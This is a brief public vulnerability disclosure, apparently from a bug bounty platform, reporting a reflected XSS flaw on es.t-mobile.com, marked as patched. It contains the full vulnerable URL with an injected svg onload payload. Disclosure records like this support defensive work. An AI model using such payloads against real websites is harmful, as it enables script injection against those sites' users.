es.t-mobile.com XSS vulnerability

Vulnerable URL: https://es.t-mobile.com/sdsecure-checkout/webapp/wcs/stores/servlet/TMCcoOrderStatusLookupForm?langId=-1=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...